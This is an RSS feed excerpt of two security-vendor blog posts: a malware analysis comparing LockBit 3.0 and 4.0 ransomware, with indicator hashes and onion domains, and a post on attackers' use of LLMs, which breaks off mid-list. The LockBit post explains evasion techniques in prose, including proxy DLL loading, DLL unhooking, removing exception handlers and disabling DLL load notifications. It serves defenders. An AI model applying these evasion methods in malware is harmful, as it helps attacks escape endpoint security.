<pubDate>Tue, 25 Mar 2025 14:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/raas-evolved-lockbit-3-0-vs-lockbit-4-0</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf09ebea2e797fbf0/67e1efdc93c4841c68e1e9fa/Lockbit3_Blog_Image_1_930x400.png" length="602049" type="image/png"/>
<description>
<![CDATA[ Learn more about the LockBit ransomware group and explore the latest evolution of LockBit ransomware with its 4.0 version release. ]]>
</description>
<content:encoded>
<![CDATA[ <p>LockBit is a sophisticated and notorious ransomware strain that has been targeting organizations across various industries since 2019. It operates by encrypting critical files and demanding hefty ransoms in exchange for decryption keys. The LockBit group operates on a Ransomware-as-a-Service (RaaS) model, providing its infamous LockBit malware to affiliates who carry out the attacks and return a percentage of ransom payments to the LockBit group.</p><p>The group is also known for its aggressive tactics, including double extortion, where they not only encrypt data but also threaten to release sensitive information if the ransom is not paid. With its rapid evolution and continuous development, LockBit remains one of the most dangerous and effective ransomware families in the cybercrime landscape.</p><p>The following blog details some of the key differences between LockBit 3.0, which has dominated the ransomware landscape over the last few years, and LockBit 4.0, the newest version of the ransomware. In addition to changes in operability, LockBit has eased deployment and added some evasion capabilities, while introducing a quiet mode that allows attackers to operate stealthily.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="1198" alt="1_TimeLinepng.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9678e3c626fbdf5d/67e1e6636678fd6ab8aeab01/1_TimeLinepng.png" height="549" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 1: The evolution of LockBit ransomware</figcaption></div></figure><p></p><p>In September 2019 the ‘.abcd’ malware was first discovered. Just a few months later, the LockBit group took responsibility for the malware, eponymously dubbing it LockBit. In the years since, the LockBit group and its LockBit malware have continued to evolve, attracting new partners, gaining notoriety amongst hackers, and distributing new, more powerful versions of the malware.</p><p>In 2022, LockBit was responsible for more ransomware attacks than any other organization in the world. And by 2023, they were responsible for an estimated 44% of global ransomware attacks, coinciding with their LockBit 3.0 version.</p><p>On December 19, 2024, the LockBit group posted an announcement titled “Lockbit4.com” on their leak blog, revealing the upcoming release of a fourth version of the LockBit ransomware and marking the end of the LockBit 3.0 era. A timer counting down to February 3, 2025 was posted alongside an announcement promising rewards to the criminals who wanted to sign up and take part in the next era of ransomware proliferation.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="936" alt="IMG2_3.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt358d6f55a906384f/67e1e77942bb031bec624af7/IMG2_3.png" height="256" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figures 2 and 3: The pre-release and release notifications for LockBit 4.0</figcaption></div></figure><h5></h5><h5></h5><figure><p></p><img asset_uid="blt5e908117c4114e2e" width="903" alt="4_LockBit4_19_12_web.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5e908117c4114e2e/67e1e66442bb03783c624af0/4_LockBit4_19_12_web.png" height="432" style="width: 903px; height: 432px;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 4: The LockBit 4.0 release date notification</figcaption></figure><p></p><h5></h5><h5>The Release of Lockbit 4.0</h5><p>Following the countdown, the LockBit group officially released LockBit 4.0 on February 3, 2025. The updated LockBit website featured five new Onion Domains with a new access key: ADTISZRLVUMXDJ34RCBZFNO6BNKLEYKYS5FZPNNXK4S2RSHOENUA. These domains were labeled “LockBit 4” and opening them took users to a login portal, with options to create a new account linked to either a BitCoin or Monero wallet.</p><p>After opening the link, users are presented with the following login portal:</p><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2eb1b8c479e297e7" width="385" alt="5_Login_portal.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2eb1b8c479e297e7/67e1e664aa2e03653086e55b/5_Login_portal.png" height="383" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 5: LockBit system login/registration portal</figcaption></div></figure><p></p><p>After hackers execute an attack using the LockBit ransomware, LockBit 4.0 also provides a platform to securely negotiate with their victims. The platform features new Onion Domains which are attached to ransom notes and open chat support between the hackers and their targets. After opening the link, victims are asked to enter the ‘Decryption ID’ they received in their ransom note to verify their details.</p><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd185410dcf872e28" width="390" alt="6_login_chat_support.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd185410dcf872e28/67e1e663b32319409299000c/6_login_chat_support.png" height="416" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 6: Login screen for chat support</figcaption></div></figure><p></p><p>Following detail and identity verification, victims are granted access to the chat.</p><p>In the chat, victims are sent three new URLs specifically for the File Upload Service for sample file decryption, supporting files larger than 10MB. This allows victims to confirm that the decryption works. Much of this attack and negotiation flow is similar to past versions of the LockBit ransomware. However, there are some key changes in how LockBit 4.0 operates compared to its most recent predecessor.&nbsp;</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt5d4683382e568188" width="1379" alt="7_Support_chat.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5d4683382e568188/67e1e664e6ff2216a70d1855/7_Support_chat.png" height="483" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 7: Address to decrypt a sample set of files</figcaption></div></figure><p></p><h5>The Packer</h5><p>LockBit 3.0 featured a significant anti-analysis mechanism. The file was protected by a packer, and each version of LockBit 3.0 required a unique password to unpack it, making both static and dynamic analysis much more difficult. This feature was expected to continue.</p><p>Surprisingly, LockBit 4.0 takes a different approach, using a much simpler packer: a customized version of the UPX packer. And this time the packer isn’t password-protected. The advantage is that unpacking can now be done easily and manually, unlike in previous versions.</p><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd3675f53a1f1369f" width="960" alt="8_sample_in_VT.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd3675f53a1f1369f/67e1e66467538e3dfb2bd949/8_sample_in_VT.png" height="485" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 8: VirusTotal indicates a UPX packer was detected</figcaption></div></figure><p></p><p>We can easily locate the jump tail, jump to it, and retrieve the original code— essentially, we can locate the part of the program that directs us to the original code, skip over the packed sections, and restore it to its original form.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="936" alt="Image9_10.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt451da3e8331b725a/67e1e8c129f30c05c4f8e288/Image9_10.png" height="350" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figures 9 and 10: The code packed and unpacked</figcaption></div></figure><p></p><h5></h5><h5>The Ransom Note</h5><p>After files are encrypted, a ransom note appears in every folder, just like in the previous version. However, there are some subtle changes to the ransom note itself.</p><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd2403a60f270f80e" width="764" alt="11_ransomnote.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd2403a60f270f80e/67e1e8c17ca40a0f7903980a/11_ransomnote.png" height="560" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 11: The ransom note</figcaption></div></figure><p></p><p>Unlike LockBit 3.0, LockBit 4.0 doesn't change the icon of the encrypted files to a custom LockBit icon. LockBit 4.0 also leaves the screensaver as is, leaves file names intact, and appends a random 12-character hash to the file extension, while LockBit 3.0 renames files and changes their extension to “.HLJkNskOq.”</p><p></p><h5>New Parameters and Help Screen</h5><p>LockBit 4.0 introduces slightly different parameters compared to LockBit 3.0. Notably, it adds the --help and -q parameters. The --help parameter allows users to view the available parameters and their functions:</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc55b9fde827dfea6" width="425" alt="12_arguments.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc55b9fde827dfea6/67e1e8c07ca40a844b039806/12_arguments.png" height="478" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 12: The help screen describing the new parameters</figcaption></div></figure><p></p><p>The -q parameter specifies a quiet mode. This mode allows hackers to carry out attacks while keeping file extensions and modification dates intact after encryption. Additionally, no ransom note is dropped on the affected systems, making it more difficult to detect and investigate the attack.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="601" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7d35d5c205be753e/67e1e98ec951226e4c95d3c5/image.png" height="462" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 13: The effect on files without using the -q parameter</figcaption></div></figure><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltcc98479397e33c2d" width="598" alt="14_with_q_parameter.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcc98479397e33c2d/67e1e8c0e6ff2260940d1865/14_with_q_parameter.png" height="450" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 14: The effect on files when using the -q parameter</figcaption></div></figure><p></p><h5></h5><h5>The Encryption Method</h5><p>LockBit 3.0 employed a partial encryption technique, encrypting portions of a file rather than the entire thing. This method sped up the encryption process and made it more efficient, minimized the chances of detection, and made the file unusable without the decryption key.</p><p>In some versions of LockBit 3.0, between 10-30% of the file is encrypted, focusing on critical sections like headers or initial data blocks. Other versions, however, only encrypt the first 4 KB of the file.</p><p>Similarly, LockBit 4.0 also employs partial encryption. In each cycle, it allocates memory for 9% of the file’s size. The data is read from the original file, encrypted, and written back to the file. Before the encryption process begins, the file size is checked; if it’s smaller than 1 KB, the entire file is encrypted instead.</p><p></p><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="660" alt="Encrypted_method_new.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt083c3cebefce3564/67e2acfcd69f2a367e9cbfd1/Encrypted_method_new.png" height="750" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 15: The encryption function</figcaption></div></figure><h5></h5><h5>Encryption Time</h5><p>LockBit 3.0 encrypts files faster than LockBit 4.0. While LockBit 4.0 takes around 25 seconds to encrypt 1,000 files, LockBit 3.0 completes the same task in about five (5) seconds. These times can vary depending on factors like system performance, hardware, and load during each run.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte04ecab8c62ce9bc" width="526" alt="16_LockBit4_time.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte04ecab8c62ce9bc/67e1e8c0848c634cb5cfd8a5/16_LockBit4_time.png" height="256" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 16: The time it took LockBit 4.0 to encrypt 1000 files</figcaption></div></figure><p></p><h5></h5><h5></h5><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt0d7a614dbcc5e4e7" width="516" alt="17_LockBit3_time.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0d7a614dbcc5e4e7/67e1e8c1c9512200ee95d3bc/17_LockBit3_time.png" height="271" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 17: The time it took LockBit 3.0 to encrypt 1000 files</figcaption></div></figure><p></p><h5></h5><h5>Dynamic API Resolution</h5><p>LockBit 3.0 imports most of its API functions during execution through a shellcode hashing mechanism. This process involves hashing the API names of a DLL, comparing them to a list of required APIs, and then retrieving the genuine API address using a circular shift and XOR operation.</p><p>In LockBit 4.0, the same dynamic method is used to discover functions, with slight modifications. The overall result is the same—the malware still obtains its functions dynamically. However, the key difference lies in how the DLLs are loaded. LockBit 4.0 employs proxy DLL loading, which bypasses the Event Tracing for Windows Telemetry Infrastructure (ETWTI) used by many security products. ETWTI relies on analyzing the stack trace, but with proxy DLL loading, the DLL is loaded through the RtlQueueWorkItem function. This causes the loading to occur in a separate thread, managed by a worker thread pool, resulting in a clean stack trace that avoids triggering ETWTI detection.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte77775169e937979" width="958" alt="18_proxy_dll_API_resolution.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte77775169e937979/67e1e8c1c95122f0d795d3c0/18_proxy_dll_API_resolution.png" height="238" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 18: Implementation of the proxy DLL loading method</figcaption></div></figure><p></p><h5></h5><h5>DLLs Unhooking</h5><p>DLL Unhooking is a variation of the DLL Hollowing technique designed to remap a DLL into memory. This process helps bypass security product hooks, making it harder for the malware to be detected within the system.</p><p>Lockbit 4.0 implements this technique by scanning through all the DLLs in the KnownDlls directory and creating a handle for each one using NtOpenSection. It then maps the DLL into memory with NtMapViewOfSection.</p><p>In the image below, you'll notice the ObjectName field is part of the OBJECT_ATTRIBUTES structure. This structure is passed to the NtOpenSection function, specifying the object that the function will operate on.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltd16ec2b676f948fe" width="602" alt="19_knowndll.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd16ec2b676f948fe/67e1e8c1914c2428c94975a7/19_knowndll.png" height="96" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 19: The name of the DLL passed to the NtOpenSection function</figcaption></div></figure><p></p><p>Once the DLL is mapped into memory, the malware utilizes WriteProcessMemory to copy the contents of the new DLL into the memory space of the original DLL that was loaded by the operating system.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="903" alt="20_WriteProcessMemory_ida.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf6f6f35b486c5f53/67e1ebc307290ac941eb9a15/20_WriteProcessMemory_ida.png" height="243" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 20: The process of copying the new DLL</figcaption></div></figure><p></p><h5></h5><h5>Vectored Exception Handler</h5><p>Malware may remove its own Vectored Exception Handlers (VEHs) for several strategic reasons. One of the key motivations is to avoid detection by security tools that specifically monitor VEH registrations. By removing these handlers, the malware can bypass detection systems that scan for them as part of their monitoring processes. Additionally, removing VEHs helps prevent debugging or analysis during or after execution, making it harder for security researchers to reverse-engineer or analyze the malware's behavior. This tactic also aids in evading automated removal attempts by anti-malware software, which may be designed to identify and counter VEH manipulations.</p><p>The return_VEH function returns LdrpVectorHandlerList, which contains the list of vectored exception handlers. The malware then iterates through this list, removing each VEH using the RtlRemoveVectoredExceptionHandler function.</p><p></p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte05206d96e085957" width="602" alt="21_find_VEH.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte05206d96e085957/67e1ebc3d148ed17c5a40165/21_find_VEH.png" height="306" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 21: Removing vectored exception handler</figcaption></div></figure><p></p><h5>Disabling DLL Loading Notifications</h5><p>Another evasive technique implemented by Lockbit 4.0 is Disabling DLL Load Notification. This technique prevents <a href="https://www.deepinstinct.com/endpoint-detection-response">endpoint detection products</a> from receiving alerts about newly loaded DLLs within the current process context. This is achieved by blocking callbacks that are typically registered with LdrRegisterDllNotification. To properly unregister a DLL load notification callback, the LdrUnregisterDllNotification function is used.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blteb5f20ffb10de0bf" width="553" alt="22_LdrUnregisterDllNotification.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blteb5f20ffb10de0bf/67e1ebc38f508c44ba139b1f/22_LdrUnregisterDllNotification.png" height="149" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 22: Disabling DLL load notifications using LdrUnregisterDllNotification</figcaption></div></figure><p></p><h5></h5><h5>Self-Deletion</h5><p>Both LockBit 4.0 and LockBit 3.0 delete themselves from the disk, a behavior observable through ProcMon. However, the methods differ: LockBit 3.0 deletes itself by downloading a .tmp file and removes the contents of the Recycle Bin during the process. In contrast, while LockBit 4.0 also deletes itself, it doesn’t touch the Recycle Bin contents, nor encrypt them.</p><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltf871deaa12c330e7" width="727" alt="23_Lockbit4_self_deletion.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf871deaa12c330e7/67e1ebc3c0d1f2f36f0a3ff5/23_Lockbit4_self_deletion.png" height="46" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 23: LockBit 4.0 self-deletion</figcaption></div></figure><p></p><h5></h5><h5></h5><figure style="text-align: center"><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt89223d93fff9a967" width="728" alt="24_Lockbit3_self_deletion.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt89223d93fff9a967/67e1ebc3b3231945c499002c/24_Lockbit3_self_deletion.png" height="50" style="text-align: center;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 24: LockBit 3.0 self-deletion</figcaption></div></figure><p></p><h5></h5><h5>Conclusion</h5><p style="text-align: left;">LockBit 4.0 introduces many new features focused on evading security products, but it also takes a few steps back from LockBit 3.0, including switching to a simpler packer, not removing <a href="https://www.deepinstinct.com/vs-microsoft-defender">Microsoft Defender</a>, and encrypting more slowly. Despite these changes, much remains the same: partial encryption is still in play, and certain services continue to be disabled. The technique for evading Event Tracing for Windows (ETW) hasn’t changed either. Although LockBit 4.0 has enhanced its evasion techniques, its overall approach and behavior closely resemble those of the previous version. While it didn't innovate on certain tactics, organizations should remain vigilant as the threat remains just as dangerous</p><p><u><strong></strong></u></p><h5><u><strong>IOC's</strong></u></h5><p style="text-align: left;"><strong>Hashes:</strong></p><p>3552dda80bd6875c1ed1273ca7562c9ace3de2f757266dae70f60bf204089a4a<br />33376f74c2f071ff30bab1c2d19d9361d16ebaa3dee73d3b595f6d789c15f620<br />21e51ee7ba87cd60f692628292e221c17286df1c39e36410e7a0ae77df0f6b4b</p><p style="text-align: left;"><strong>Onion domains:</strong></p><p>lockbit3753ekiocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2id.onion<br />lockbit3g3ohd3katajf6zaehxz4h4cnhmz5t735zpltywhwpc6oy3id.onion<br />lockbit3olp7oetlc4tl5zydnoluphh7fvdt5oa6arcp2757r7xkutid.onion<br />lockbit435xk3ki62yun7z5nhwz6jyjdp2c64j5vge536if2eny3gtid.onion<br />lockbit4lahhluquhoka3t4spqym2m3dhe66d6lr337glmnlgg2nndad.onion<br />lockbit6knrauo3qafoksvl742vieqbujxw7rd6ofzdtapjb4rrawqad.onion<br />lockbit7ouvrsdgtojeoj5hvu6bljqtghitekwpdy3b6y62ixtsu5jqd.onion</p><p><br />lockbitsprnigidq6imswpysqjg3sewkeagtfbamlybwm7fnonglhlyd.onion<br />lockbitspqldd3mm223vmzcvwntd7honhhan3ke72vpnrxexlrsu5ryd.onion<br />lockbitsppsg2kfcafzzdettjbgc4tx2cl6tfm4v4py6xtndbhnnhsid.onion<br />lockbitsppra2sj6gkfrgtavqds7rcnvhaxdio7jvu2xrozdr2ld3ead.onion<br />lockbitspomtxfihje6wepecgif7vuqci6zyl7qgenne5b6lxngf4yqd.onion</p><p>&nbsp;</p><p>lockbitapyx2kr5b7ma7qn6ziwqgbrij2czhcbojuxmgnwpkgv2yx2yd.onion<br />lockbitapyum2wks2lbcnrovcgxj7ne3ua7hhcmshh3s3ajtpookohqd.onion<br />lockbitapp24bvbi43n3qmtfcasf2veaeagjxatgbwtxnsh5w32mljad.onion<br />lockbitapo3wkqddx2ka7t45hejurybzzjpos4cpeliudgv35kkizrid.onion<br />lockbitapiahy43zttdhslabjvx4q6k24xx7r33qtcvwqehmnnqxy3yd.onion</p><p></p><h5>References</h5><ul><li><a href="https://elis531989.medium.com/green-with-evil-analyzing-the-new-lockbit-4-green-7f5783c4414c">https://elis531989.medium.com/green-with-evil-analyzing-the-new-lockbit-4-green-7f5783c4414c</a></li><li><a href="https://www.ctfiot.com/131730.html">https://www.ctfiot.com/131730.html</a></li><li><a href="https://github.com/TheRavenFile/DailyHunt/blob/main/LockBit%204.0%20Ransomware">https://github.com/TheRavenFile/DailyHunt/blob/main/LockBit%204.0%20Ransomware</a></li><li><a href="https://en.wikipedia.org/wiki/LockBit">https://en.wikipedia.org/wiki/LockBit</a></li></ul><p>&nbsp;</p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ The Rise of AI-Driven Cyber Attacks: How LLMs Are Reshaping the Threat Landscape ]]>
</title>
<link>https://www.deepinstinct.com/blog/the-rise-of-ai-driven-cyber-attacks-how-llms-are-reshaping-the-threat-landscape</link>
<dc:creator>
<![CDATA[ David Trigano ]]>
</dc:creator>
<pubDate>Wed, 12 Mar 2025 13:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/the-rise-of-ai-driven-cyber-attacks-how-llms-are-reshaping-the-threat-landscape</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb58b9bae2c6cc301/67d076d15cbb23092aa837e9/android-hacker4-930x400.png" length="655711" type="image/png"/>
<description>
<![CDATA[ Join David Trigano and Alex Kozodoy as they explain the present and future of AI-powered cyberthreats and learn what is necessary to fight back against increasingly powerful AI tools. ]]>
</description>
<content:encoded>
<![CDATA[ <p>The cyberattack lifecycle has been supercharged by generative AI. It is faster, more effective, and more dangerous than ever before. Large Language Models (LLMs) are being<a href="https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent"> </a><a href="https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent">leveraged for malicious purposes</a>, aiding in recon, crafting highly convincing phishing campaigns, generating proof-of-concept (PoC) exploits, and even assisting in malware development. As these capabilities continue to grow in sophistication, AI will reshape the threat landscape, posing significant challenges for cybersecurity professionals.</p><p>The following blog explores several ways AI is already being used to shape cybercrime and cybersecurity. It delves into the methods empowered by LLM capabilities with key use cases. The future of AI-based and powered attacks isn’t a far-flung possibility, it’s here now—and it’s incredibly dangerous.</p><p></p><h5>AI-Driven Reconnaissance</h5><p>Building an understanding of an organization and identifying key targets within it has been significantly accelerated through the use of AI. Advanced Persistent Threat (APT) groups from China, Iran, North Korea, and Russia have reportedly used AI to automate this process, allowing them to achieve the following:</p><ul><li>Identify and prioritize high-value targets via analysis of organizational hierarchies, business disclosures, and employee social media&nbsp;</li></ul><ul><li>Conduct large-scale scanning of networks and systems for potential traffic changes and vulnerabilities</li></ul><ul><li>Optimize attack strategies based on collected intelligence, such as C-Suite travel and communication patterns, allowing for targeted attacks at opportune times, sometimes aided by advanced phishing and vishing techniques</li></ul><p>Google’s Threat Intelligence Group<a href="https://cloud.google.com/blog/topics/threat-intelligence/adversarial-misuse-generative-ai"> </a><a href="https://cloud.google.com/blog/topics/threat-intelligence/adversarial-misuse-generative-ai">reported that APT42, an Iran-backed group, were the heaviest users of Gemini</a>, using it to perform recon on defense experts and organizations and craft advanced phishing campaigns. They combined their usage with other open-source tools and tactics to breach key targets in both the public and private sectors, demonstrating the effectiveness of early-stage LLM usage.</p><p></p><h5>AI-Powered Phishing and Social Engineering Attacks</h5><p>In conjunction with advanced recon techniques, attackers are using AI to enhance phishing and social engineering tactics. In recent months, APTs—particularly those from North Korea, China, and Iran—have been observed deploying AI-generated phishing campaigns with increased sophistication. Notable AI-enhanced social engineering tactics include the following:</p><ul><li><strong>Automated Spear-Phishing</strong>: Using data gathered by AI during the recon phase, attackers leveraged AI to generate massive amounts of highly personalized phishing emails that are both contextually relevant and persuasive, increasing the likelihood of successful intrusions. This method has been used extensively by Iran against both American and Israeli targets.</li></ul><ul><li><strong>Deepfake Scams</strong>: Attackers employ AI-generated deepfake audio and video to impersonate trusted individuals. These deepfakes deceive targets into taking malicious actions, such as transferring funds or divulging sensitive information. In the <a href="https://www.cnn.com/2024/05/16/tech/arup-deepfake-scam-loss-hong-kong-intl-hnk/index.html" target="_self">Arup Group attack</a>, for example,&nbsp; AI-generated voice and images were used to fraudulently extract $25 million dollars from the multinational design and engineering company.</li></ul><p>With AI continuously improving the realism of phishing lures and impersonations (and utilizing more powerful research methods), <a href="https://www.deepinstinct.com/deep-instinct-vs-competitors" target="_self">legacy cybersecurity detection tools</a> are struggling to keep up. The fidelity of the fakes and the information used to produce them has even fooled trained professionals.</p><p></p><h5>AI Vulnerability Discovery and Exploitation</h5><p>Beyond reconnaissance and phishing, AI tools are also being deployed to discover technical vulnerabilities and quickly exploit them. Attackers are using AI to achieve the following:</p><ul><li>Identify and exploit security weaknesses in software and networks, including reverse-engineering patches</li></ul><ul><li>Discover potential zero-day exploits, proven conceptually by Google’s ‘Big Sleep’ agent</li></ul><ul><li>Generate code that can exploit weaknesses and vulnerabilities faster than defenders can respond</li></ul><p>Google’s proof that AI agents could discover potential zero-day vulnerabilities is a chilling sign of what’s to come. The acceleration of zero-day attacks powered by AI discovery and exploitation tools will likely put defenders on the back foot, especially if they are not given tech solutions that can preemptively prevent attacks or respond at speed to breaches.</p><p></p><h5>AI-Assisted Malware Development</h5><p>Although AI-generated malware is not highly advanced yet, attackers have found ways to jailbreak mainstream LLMs (such as OpenAI’s models or Gemini) to aid in malware development. Simultaneously, a stable of malicious LLMs specifically tailored for criminal activities, including WormGPT, WolfGPT, EscapeGPT, FraudGPT, and GhostGPT, are also being developed, removing the safeguards put in place in the mainstream models. Threat actors currently use AI chatbots to:</p><ul><li>Generate and troubleshoot malicious code; GhostGPT is particularly adept and costs only $50. It is marketed to hackers and lacks any of the ethical blocks that mainstream models have, enabling quick vulnerability discovery and exploitation.</li></ul><ul><li>Localizing malware to bypass regional security measures. A Russian APT group used Gemini to morph existing malicious code to skirt known security measures, rather than developing entirely new malware.</li></ul><p>The speed with which AI has advanced means that AI-generated malware will become extremely complex very quickly. With the increasing availability of advanced “open” AI chatbots like DeepSeek, attackers are able to refine their malware toolsets, making them more adaptive and evasive.</p><p></p><h5>The Next Phase: AI-Generated Polymorphic Malware</h5><p>One of the most alarming possibilities is the potential for AI to generate polymorphic malware. This type of malware continuously mutates its code, making traditional signature-based detection methods ineffective. As AI enhances malware’s ability to autonomously modify its structure and evade security defenses, security teams must adopt more advanced behavioral analysis techniques to counter this growing threat.</p><h6>The Looming Future: AI-Powered Autonomous Malware</h6><p>Soon, attackers will move beyond ‘simple’ AI-generated malware and begin developing AI-powered autonomous malware, enabling smarter, far more devastating attacks. Unlike traditional malware, AI-powered malware will be smarter, performing functions autonomously to bypass security. If it reaches the level that experts fear, it will be able to:</p><ul><li><strong>Adapt its behavior in real time</strong> to evade detection and bypass legacy protection mechanisms across the data estate</li></ul><ul><li><strong>Alter its attack techniques</strong> based on an environment’s defenses, making incident response significantly more challenging</li></ul><ul><li><strong>Leverage reinforcement learning</strong> to optimize attack strategies, continuously improving effectiveness against evolving security measures</li></ul><p>This step beyond polymorphic malware could lead to an unprecedented surge in sophisticated cyberattacks, specifically designed to overwhelm existing defense systems and react to attempts to stop it.</p><p></p><h5>The Impact on Attribution and Threat Intelligence</h5><p>As AI-generated attacks grow in complexity, attribution will become increasingly difficult. AI can mimic the attack patterns, tools, and techniques of other threat actors, effectively masking the true origin of an attack. This obfuscation has already been used by Russian and Iranian APT groups to achieve the following:</p><ul><li>Complicate forensic investigations and <a href="https://researchonline.nd.edu.au/cgi/viewcontent.cgi?article=1089&context=law_article#:~:text=In%20particular%2C%20identifying%20who%20is,and%20potentially%20who%20is%20responsible.">confuse national defense planning and response</a></li></ul><ul><li>Hinder intelligence-sharing efforts, especially amongst groups relying on multi-member input, such as Five Eyes</li></ul><ul><li>Reduce the effectiveness of traditional attribution methodologies</li></ul><p>Each of these complicates the already<a href="https://www.deepinstinct.com/voice-of-secops-reports"> </a><a href="https://www.deepinstinct.com/voice-of-secops-reports">stressful role of security teams and researchers</a>, ratcheting up the pressure on defenders while slowing down national response to legitimate threats.</p><p>The nature of stolen data reveals insightful details about the plans of an adversary; the industries they’re targeting, patterns of attack, and what they are focused on disrupting. However, if the adversary can’t be reliably identified, defenders are left trying to strategize for multiple scenarios, complicating response and planning efforts.</p><p></p><h5>Preparing for the AI-Driven Threat Landscape</h5><p>To stay ahead of these emerging threats, organizations must adopt what Gartner has recently dubbed <em>preemptive cybersecurity solutions–</em>technologies designed to prevent cyberattacks before they achieve their objectives. Key steps to reaching a preemptive cybersecurity posture include:</p><ul><li><strong>Investing in AI-driven cybersecurity solutions</strong> that can detect and mitigate AI-generated threats. Attackers are using AI that is too advanced to be stopped by legacy tools or human response alone. Keeping organizations operational and breach free requires defensive solutions that can outpace offensive AI.</li></ul><ul><li><strong>Implementing a deep learning-based security approach</strong>: Deep learning provides the most advanced defense against AI-driven threats by enabling real-time anomaly detection and automated threat analysis using the most advanced version of AI. Unlike traditional security models, deep learning solutions can:<ul><li>Identify and classify sophisticated attack patterns</li><li>Adapt to emerging cyber threats without reliance on static 